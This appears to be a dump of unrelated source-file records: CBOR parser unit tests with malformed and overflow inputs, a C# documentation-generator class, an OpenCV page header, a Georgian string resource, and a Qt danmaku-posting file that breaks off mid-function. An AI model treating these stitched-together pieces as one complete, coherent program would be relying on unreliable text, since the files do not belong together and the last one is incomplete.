QTest::newRow(\"string-length-too-short-2-1\") << raw(\"\\x81\\x79\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-length-too-short-4-0\") << raw(\"\\x81\\x7a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-length-too-short-4-3\") << raw(\"\\x81\\x7a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-length-too-short-8-0\") << raw(\"\\x81\\x7b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-length-too-short-8-7\") << raw(\"\\x81\\x7b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-length-too-short-1-0\") << raw(\"\\x81\\x5f\\x58\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-length-too-short-2-0\") << raw(\"\\x81\\x5f\\x59\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-length-too-short-2-1\") << raw(\"\\x81\\x5f\\x59\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-length-too-short-4-0\") << raw(\"\\x81\\x5f\\x5a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-length-too-short-4-3\") << raw(\"\\x81\\x5f\\x5a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-length-too-short-8-0\") << raw(\"\\x81\\x5f\\x5b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-length-too-short-8-7\") << raw(\"\\x81\\x5f\\x5b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-length-too-short-1-0\") << raw(\"\\x81\\x7f\\x78\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-length-too-short-2-0\") << raw(\"\\x81\\x7f\\x79\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-length-too-short-2-1\") << raw(\"\\x81\\x7f\\x79\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-length-too-short-4-0\") << raw(\"\\x81\\x7f\\x7a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-length-too-short-4-3\") << raw(\"\\x81\\x7f\\x7a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-length-too-short-8-0\") << raw(\"\\x81\\x7f\\x7b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-length-too-short-8-7\") << raw(\"\\x81\\x7f\\x7b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-2-length-too-short-1-0\") << raw(\"\\x81\\x5f\\x40\\x58\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-2-length-too-short-2-0\") << raw(\"\\x81\\x5f\\x40\\x59\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-2-length-too-short-2-1\") << raw(\"\\x81\\x5f\\x40\\x59\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-2-length-too-short-4-0\") << raw(\"\\x81\\x5f\\x40\\x5a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-2-length-too-short-4-3\") << raw(\"\\x81\\x5f\\x40\\x5a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-2-length-too-short-8-0\") << raw(\"\\x81\\x5f\\x40\\x5b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-2-length-too-short-8-7\") << raw(\"\\x81\\x5f\\x40\\x5b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-2-length-too-short-1-0\") << raw(\"\\x81\\x7f\\x60\\x78\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-2-length-too-short-2-0\") << raw(\"\\x81\\x7f\\x60\\x79\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-2-length-too-short-2-1\") << raw(\"\\x81\\x7f\\x60\\x79\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-2-length-too-short-4-0\") << raw(\"\\x81\\x7f\\x60\\x7a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-2-length-too-short-4-3\") << raw(\"\\x81\\x7f\\x60\\x7a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-2-length-too-short-8-0\") << raw(\"\\x81\\x7f\\x60\\x7b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-2-length-too-short-8-7\") << raw(\"\\x81\\x7f\\x60\\x7b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-length-too-short-1-0\") << raw(\"\\x81\\x98\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-length-too-short-2-0\") << raw(\"\\x81\\x99\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-length-too-short-2-1\") << raw(\"\\x81\\x99\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-length-too-short-4-0\") << raw(\"\\x81\\x9a\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-length-too-short-4-3\") << raw(\"\\x81\\x9a\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-length-too-short-8-0\") << raw(\"\\x81\\x9b\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-length-too-short-8-7\") << raw(\"\\x81\\x9b\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-length-too-short-1-0\") << raw(\"\\x81\\xb8\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-length-too-short-2-0\") << raw(\"\\x81\\xb9\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-length-too-short-2-1\") << raw(\"\\x81\\xb9\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-length-too-short-4-0\") << raw(\"\\x81\\xba\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-length-too-short-4-3\") << raw(\"\\x81\\xba\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-length-too-short-8-0\") << raw(\"\\x81\\xbb\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-length-too-short-8-7\") << raw(\"\\x81\\xbb\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"tag-too-short-1-0\") << raw(\"\\x81\\xd8\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"tag-too-short-2-0\") << raw(\"\\x81\\xd9\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"tag-too-short-2-1\") << raw(\"\\x81\\xd9\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"tag-too-short-4-0\") << raw(\"\\x81\\xda\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"tag-too-short-4-3\") << raw(\"\\x81\\xda\\x01\\x02\\x03\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"tag-too-short-8-0\") << raw(\"\\x81\\xdb\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"tag-too-short-8-7\") << raw(\"\\x81\\xdb\\1\\2\\3\\4\\5\\6\\7\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"fp16-too-short1\") << raw(\"\\x81\\xf9\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"fp16-too-short2\") << raw(\"\\x81\\xf9\\x00\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"float-too-short1\") << raw(\"\\x81\\xfa\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"float-too-short2\") << raw(\"\\x81\\xfa\\0\\0\\0\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"double-too-short1\") << raw(\"\\x81\\xfb\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"double-too-short2\") << raw(\"\\x81\\xfb\\0\\0\\0\\0\\0\\0\\0\") << 0 << CborErrorUnexpectedEOF;\n\n QTest::newRow(\"bytearray-too-short1\") << raw(\"\\x81\\x42z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-too-short2\") << raw(\"\\x81\\x58\\x02z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-too-short3\") << raw(\"\\x81\\x5a\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-too-short4\") << raw(\"\\x81\\x5b\\0\\0\\0\\0\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-too-short1\") << raw(\"\\x81\\x62z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-too-short2\") << raw(\"\\x81\\x78\\x02z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-too-short3\") << raw(\"\\x81\\x7a\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-too-short4\") << raw(\"\\x81\\x7b\\0\\0\\0\\0\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short1\") << raw(\"\\x81\\x5f\\x42z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short2\") << raw(\"\\x81\\x5f\\x58\\x02z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short3\") << raw(\"\\x81\\x5f\\x5a\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short4\") << raw(\"\\x81\\x5f\\x5b\\0\\0\\0\\0\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short1\") << raw(\"\\x81\\x7f\\x62z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short2\") << raw(\"\\x81\\x7f\\x78\\x02z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short3\") << raw(\"\\x81\\x7f\\x7a\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short4\") << raw(\"\\x81\\x7f\\x7b\\0\\0\\0\\0\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short1x2\") << raw(\"\\x81\\x5f\\x40\\x42z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short2x2\") << raw(\"\\x81\\x5f\\x40\\x58\\x02z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short3x2\") << raw(\"\\x81\\x5f\\x40\\x5a\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-chunked-too-short4x2\") << raw(\"\\x81\\x5f\\x40\\x5b\\0\\0\\0\\0\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short1x2\") << raw(\"\\x81\\x7f\\x60\\x62z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short2x2\") << raw(\"\\x81\\x7f\\x60\\x78\\x02z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short3x2\") << raw(\"\\x81\\x7f\\x60\\x7a\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-chunked-too-short4x2\") << raw(\"\\x81\\x7f\\x60\\x7b\\0\\0\\0\\0\\0\\0\\0\\2z\") << 0 << CborErrorUnexpectedEOF;\n\n QTest::newRow(\"bytearray-no-break1\") << raw(\"\\x81\\x5f\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"bytearray-no-break2\") << raw(\"\\x81\\x5f\\x40\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-no-break1\") << raw(\"\\x81\\x7f\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"string-no-break2\") << raw(\"\\x81\\x7f\\x60\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-no-break1\") << raw(\"\\x81\\x9f\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"array-no-break2\") << raw(\"\\x81\\x9f\\0\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-no-break1\") << raw(\"\\x81\\xbf\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-no-break2\") << raw(\"\\x81\\xbf\\0\\0\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"map-break-after-key\") << raw(\"\\x81\\xbf\\0\\xff\") << 0 << CborErrorUnexpectedBreak;\n QTest::newRow(\"map-break-after-value-tag\") << raw(\"\\x81\\xbf\\0\\xc0\\xff\") << 0 << CborErrorUnexpectedBreak;\n QTest::newRow(\"map-break-after-value-tag2\") << raw(\"\\x81\\xbf\\0\\xd8\\x20\\xff\") << 0 << CborErrorUnexpectedBreak;\n\n // check for pointer additions wrapping over the limit of the address space\n auto wraparoundError = [minInvalid](uint64_t encodedSize) {\n if (encodedSize > minInvalid)\n return CborErrorDataTooLarge;\n return CborErrorUnexpectedEOF;\n };\n constexpr uint64_t FourGB = UINT32_MAX + UINT64_C(1);\n // on 32-bit systems, this is a -1\n QTest::newRow(\"bytearray-wraparound1\") << raw(\"\\x81\\x5a\\xff\\xff\\xff\\xff\") << 0 << wraparoundError(UINT32_MAX);\n QTest::newRow(\"string-wraparound1\") << raw(\"\\x81\\x7a\\xff\\xff\\xff\\xff\") << 0 << wraparoundError(UINT32_MAX);\n // on 32-bit systems, a 4GB addition could be dropped\n QTest::newRow(\"bytearray-wraparound2\") << raw(\"\\x81\\x5b\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << wraparoundError(FourGB);\n QTest::newRow(\"string-wraparound2\") << raw(\"\\x81\\x7b\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << wraparoundError(FourGB);\n // on 64-bit systems, this could be a -1\n QTest::newRow(\"bytearray-wraparound3\") << raw(\"\\x81\\x5b\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\") << 0\n << wraparoundError(UINT64_MAX);\n QTest::newRow(\"string-wraparound3\") << raw(\"\\x81\\x7b\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\") << 0\n << wraparoundError(UINT64_MAX);\n\n // ditto on chunks\n QTest::newRow(\"bytearray-chunk-wraparound1\") << raw(\"\\x81\\x5f\\x5a\\xff\\xff\\xff\\xff\") << 0 << wraparoundError(UINT32_MAX);\n QTest::newRow(\"string-chunk-wraparound1\") << raw(\"\\x81\\x7f\\x7a\\xff\\xff\\xff\\xff\") << 0 << wraparoundError(UINT32_MAX);\n // on 32-bit systems, a 4GB addition could be dropped\n QTest::newRow(\"bytearray-chunk-wraparound2\") << raw(\"\\x81\\x5f\\x5b\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << wraparoundError(FourGB);\n QTest::newRow(\"string-chunk-wraparound2\") << raw(\"\\x81\\x7f\\x7b\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << wraparoundError(FourGB);\n // on 64-bit systems, this could be a -1\n QTest::newRow(\"bytearray-chunk-wraparound3\") << raw(\"\\x81\\x5f\\x5b\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\") << 0\n << wraparoundError(UINT64_MAX);\n QTest::newRow(\"string-chunk-wraparound3\") << raw(\"\\x81\\x7f\\x7b\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\") << 0\n << wraparoundError(UINT64_MAX);\n\n QTest::newRow(\"eof-after-array\") << raw(\"\\x81\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-array2\") << raw(\"\\x81\\x78\\x20\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-array-element\") << raw(\"\\x81\\x82\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-object\") << raw(\"\\x81\\xa1\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-object2\") << raw(\"\\x81\\xb8\\x20\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-object-key\") << raw(\"\\x81\\xa1\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-object-value\") << raw(\"\\x81\\xa2\\x01\\x01\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-tag\") << raw(\"\\x81\\xc0\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"eof-after-tag2\") << raw(\"\\x81\\xd8\\x20\") << 0 << CborErrorUnexpectedEOF;\n\n // major type 7 has future types\n QTest::newRow(\"future-type-28\") << raw(\"\\x81\\xfc\") << 0 << CborErrorUnknownType;\n QTest::newRow(\"future-type-29\") << raw(\"\\x81\\xfd\") << 0 << CborErrorUnknownType;\n QTest::newRow(\"future-type-30\") << raw(\"\\x81\\xfe\") << 0 << CborErrorUnknownType;\n QTest::newRow(\"unexpected-break\") << raw(\"\\x81\\xff\") << 0 << CborErrorUnexpectedBreak;\n QTest::newRow(\"illegal-simple-0\") << raw(\"\\x81\\xf8\\0\") << 0 << CborErrorIllegalSimpleType;\n QTest::newRow(\"illegal-simple-31\") << raw(\"\\x81\\xf8\\x1f\") << 0 << CborErrorIllegalSimpleType;\n\n // not only too big (UINT_MAX or UINT_MAX+1 in size), but also incomplete\n if (sizeof(size_t) < sizeof(uint64_t)) {\n QTest::newRow(\"bytearray-too-big1\") << raw(\"\\x81\\x5b\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << CborErrorDataTooLarge;\n QTest::newRow(\"string-too-big1\") << raw(\"\\x81\\x7b\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << CborErrorDataTooLarge;\n }\n QTest::newRow(\"array-too-big1\") << raw(\"\\x81\\x9a\\xff\\xff\\xff\\xff\\0\\0\\0\\0\") << 0 << CborErrorDataTooLarge;\n QTest::newRow(\"array-too-big2\") << raw(\"\\x81\\x9b\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << CborErrorDataTooLarge;\n QTest::newRow(\"object-too-big1\") << raw(\"\\x81\\xba\\xff\\xff\\xff\\xff\\0\\0\\0\\0\") << 0 << CborErrorDataTooLarge;\n QTest::newRow(\"object-too-big2\") << raw(\"\\x81\\xbb\\0\\0\\0\\1\\0\\0\\0\\0\") << 0 << CborErrorDataTooLarge;\n\n QTest::newRow(\"no-break-for-array0\") << raw(\"\\x81\\x9f\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"no-break-for-array1\") << raw(\"\\x81\\x9f\\x01\") << 0 << CborErrorUnexpectedEOF;\n\n QTest::newRow(\"no-break-string0\") << raw(\"\\x81\\x7f\") << 0 << CborErrorUnexpectedEOF;\n QTest::newRow(\"no-break-string1\") << raw(\"\\x81\\x7f\\x61Z\") << 0 << CborErrorUnexpectedEOF;\n\n QTest::newRow(\"nested-indefinite-length-bytearrays\") << raw(\"\\x81\\x5f\\x5f\\xff\\xff\") << 0 << CborErrorIllegalNumber;\n QTest::newRow(\"nested-indefinite-length-strings\") << raw(\"\\x81\\x7f\\x7f\\xff\\xff\") << 0 << CborErrorIllegalNumber;\n\n QTest::newRow(\"string-chunk-unsigned\") << raw(\"\\x81\\x7f\\0\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-negative\") << raw(\"\\x81\\x7f\\x20\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-bytearray\") << raw(\"\\x81\\x7f\\x40\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-array\") << raw(\"\\x81\\x7f\\x80\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-map\") << raw(\"\\x81\\x7f\\xa0\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-tag\") << raw(\"\\x81\\x7f\\xc0\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-tagged-string\") << raw(\"\\x81\\x7f\\xc0\\x60\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-simple0\") << raw(\"\\x81\\x7f\\xe0\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-false\") << raw(\"\\x81\\x7f\\xf4\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-true\") << raw(\"\\x81\\x7f\\xf5\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-null\") << raw(\"\\x81\\x7f\\xf6\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"string-chunk-undefined\") << raw(\"\\x81\\x7f\\xf7\\xff\") << 0 << CborErrorIllegalType;\n\n QTest::newRow(\"bytearray-chunk-string\") << raw(\"\\x81\\x5f\\x60\\xff\") << 0 << CborErrorIllegalType;\n QTest::newRow(\"bytearray-chunk-tagged-bytearray\") << raw(\"\\x81\\x7f\\xc0\\x40\\xff\") << 0 << CborErrorIllegalType;\n\n // RFC 7049 Section 2.2.2 \"Indefinite-Length Byte Strings and Text Strings\" says\n // Text strings with indefinite lengths act the same as byte strings\n // with indefinite lengths, except that all their chunks MUST be\n // definite-length text strings. Note that this implies that the bytes\n // of a single UTF-8 character cannot be spread between chunks: a new\n // chunk can only be started at a character boundary.\n // This test technically tests the dumper, not the parser.\n QTest::newRow(\"string-utf8-chunk-split\") << raw(\"\\x81\\x7f\\x61\\xc2\\x61\\xa0\\xff\") << 0 << CborErrorInvalidUtf8TextString;\n}\n"} +{"text": "// Licensed to Elasticsearch B.V under one or more agreements.\n// Elasticsearch B.V licenses this file to you under the Apache 2.0 License.\n// See the LICENSE file in the project root for more information\n\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Text.RegularExpressions;\nusing Microsoft.CodeAnalysis;\nusing Microsoft.CodeAnalysis.CSharp;\n\nnamespace DocGenerator.Documentation.Blocks\n{\n\tpublic class CSharpBlock : CodeBlock\n\t{\n\t\tprivate static readonly Regex Callout = new Regex(@\"//[ \\t]*(?\\<\\d+\\>)[ \\t]*(?\\S.*)\", RegexOptions.Compiled);\n\t\tprivate static readonly Regex CalloutReplacer = new Regex(@\"//[ \\t]*\\<(\\d+)\\>.*\", RegexOptions.Compiled);\n\n\t\tpublic CSharpBlock(SyntaxNode node, int depth, string memberName = null)\n\t\t\t: base(node.WithoutLeadingTrivia().ToFullStringWithoutPragmaWarningDirectiveTrivia(),\n\t\t\t\tnode.StartingLine(),\n\t\t\t\tnode.IsKind(SyntaxKind.ClassDeclaration) ? depth : depth + 2,\n\t\t\t\t\"csharp\",\n\t\t\t\tmemberName) { }\n\n\t\tprivate List Callouts { get; } = new List();\n\n\t\tpublic void AddNode(SyntaxNode node) => Lines.Add(node.WithLeadingEndOfLineTrivia().ToFullStringWithoutPragmaWarningDirectiveTrivia());\n\n\t\tpublic override string ToAsciiDoc()\n\t\t{\n\t\t\tvar builder = new StringBuilder();\n\n\t\t\t// method attribute is used to add section titles in GeneratedAsciidocVisitor\n\t\t\tbuilder.AppendLine(!string.IsNullOrEmpty(MemberName)\n\t\t\t\t? $\"[source, {Language.ToLowerInvariant()}, method=\\\"{MemberName.ToLowerInvariant()}\\\"]\"\n\t\t\t\t: $\"[source, {Language.ToLowerInvariant()}]\");\n\n\t\t\tbuilder.AppendLine(\"----\");\n\n\t\t\tvar code = ExtractCallOutsFromCode(Value);\n\n\t\t\tcode = code.RemoveNumberOfLeadingTabsOrSpacesAfterNewline(Depth);\n\t\t\tbuilder.AppendLine(code);\n\n\t\t\tbuilder.AppendLine(\"----\");\n\t\t\tforeach (var callout in Callouts) builder.AppendLine(callout);\n\t\t\treturn builder.ToString();\n\t\t}\n\n\t\t/// \n\t\t/// Extracts the callouts from code. The callout comment is defined inline within\n\t\t/// source code to play nicely with C# semantics, but needs to be extracted and placed after the\n\t\t/// source block delimiter to be valid asciidoc.\n\t\t/// \n\t\tprivate string ExtractCallOutsFromCode(string value)\n\t\t{\n\t\t\tvar matches = Callout.Matches(value);\n\t\t\tvar callouts = new List();\n\n\t\t\tforeach (Match match in matches) callouts.Add($\"{match.Groups[\"callout\"].Value} {match.Groups[\"text\"].Value.TrimEnd()}\");\n\n\t\t\tif (callouts.Any())\n\t\t\t{\n\t\t\t\tvalue = CalloutReplacer.Replace(value, \"//<$1>\");\n\t\t\t\tCallouts.AddRange(callouts);\n\t\t\t}\n\n\t\t\treturn value.Trim();\n\t\t}\n\t}\n}\n"} +{"text": "//\n// MainPage.xaml.h\n// Declaration of the MainPage class.\n//\n\n#pragma once\n\n#include \"MainPage.g.h\"\n#include \n\nnamespace OpenCVExample\n{\n\t/// \n\t/// An empty page that can be used on its own or navigated to within a Frame.\n\t/// \n\tpublic ref class MainPage sealed\n\t{\n\tpublic:\n\t\tMainPage();\n\tprivate:\n\t\tcv::Mat _stored_image;\n\t\tvoid UpdateImage(const cv::Mat& image);\n\tprivate:\n\t\tvoid loadImageButton_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n\t\tvoid cannyEdgesButton_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n\t\tvoid detectFeaturesButton_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n\t};\n}\n"} +{"text": "\n\n\n\n \"დახმარება და გამოხმაურება\"\n\n"} +{"text": "/*=======================================================================\n*\n* Copyright (C) 2013-2015 Lysine.\n*\n* Filename: Post.cpp\n* Time: 2013/05/23\n* Author: zhengdanwei\n* Contributor: Lysine\n*\n* Lysine is a student majoring in Software Engineering\n* from the School of Software, SUN YAT-SEN UNIVERSITY.\n*\n* This program is free software: you can redistribute it and/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* (at your option) any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n\n* You should have received a copy of the GNU General Public License\n* along with this program. If not, see .\n*\n=========================================================================*/\n\n#include \"Common.h\"\n#include \"Post.h\"\n#include \"AccessPrivate.h\"\n#include \"../Model/Danmaku.h\"\n\nclass PostPrivate : public AccessPrivate\n{\npublic:\n\texplicit PostPrivate(Post *post):\n\t\tAccessPrivate(post)\n\t{\n\t}\n\n\tvirtual void onShift() override\n\t{\n\t\tQ_Q(Post);\n\t\tPost::Task &task = queue.head();\n\t\temit q->stateChanged(task.state);\n\t\tremain.insert(task.data.isEmpty() ? manager.get(task.request) : manager.post(task.request, task.data));\n\t}\n};\n\nPost::Post(QObject *parent)\n\t: QObject(parent), d_ptr(new PostPrivate(this))\n{\n\tQ_D(Post);\n\tsetObjectName(\"Post\");\n\n\tauto avProcess = [this](QNetworkReply *reply){\n\t\tQ_D(Post);\n\t\tTask &task = d->queue.head();\n\t\tswitch (task.state){\n\t\tcase None:{\n\t\t\tQString api(\"http://interface.%1/dmpost\");\n\t\t\tapi = api.arg(Utils::customUrl(Utils::Bilibili));\n\t\t\ttask.request.setUrl(api);\n\t\t\ttask.request.setHeader(QNetworkRequest::ContentTypeHeader, \"application/x-www-form-urlencoded\");\n\t\t\tconst Comment &c = task.comment;\n\t\t\tQUrlQuery params;\n\t\t\tparams.addQueryItem(\"cid\", QFileInfo(task.target->source).baseName());\n\t\t\tparams.addQueryItem(\"date\", QDateTime::currentDateTime().toString(\"yyyy-MM-dd hh:mm:ss\"));\n\t\t\tparams.addQueryItem(\"pool\", \"0\");\n\t\t\tparams.addQueryItem(\"playTime\", QString::number(c.time / 1000.0, 'f', 4));\n\t\t\tparams.addQueryItem(\"color\", QString::number(c.color));\n\t\t\tparams.addQueryItem(\"fontsize\", QString::number(c.font));\n\t\t\tparams.addQueryItem(\"message\", c.string);\n\t\t\tparams.addQueryItem(\"rnd\", QString::number(qrand()));\n\t\t\tparams.addQueryItem(\"mode\", QString::number(c.mode));\n\t\t\ttask.data = params.query(QUrl::FullyEncoded).toUtf8();\n\t\t\ttask.state = Code;\n\t\t\tforward();\n\t\t\tbreak;\n\t\t}\n\t\tcase Code:{\n\t\t\tint code = QString(reply->readAll()).toInt();\n\t\t\temit stateChanged(task.state = code > 0 ? None : code);\n\t\t\tdequeue();\n\t\t\tbreak;\n\t\t}\n\t\t}\n\t};\n\tauto avRegular = [](QString code){\n\t\tstatic QRegularExpression r(\"a(v(\\\\d+([#_])?(\\\\d+)?)?)?\");\n\t\tr.setPatternOptions(QRegularExpression::CaseInsensitiveOption);\n\t\treturn r.match(code).capturedLength() == code.length();\n\t};\n\td->pool.append({ avRegular, 0, avProcess });\n\n\tconnect(this, &Post::stateChanged, [this](int code){\n\t\tswitch (code){\n\t\tcase None:\n\t\tcase Code:\n\t\t\tbreak;\n\t\tdefault:\n\t\t{\n\t\t\tQ_D(Post);\n\t\t\tif 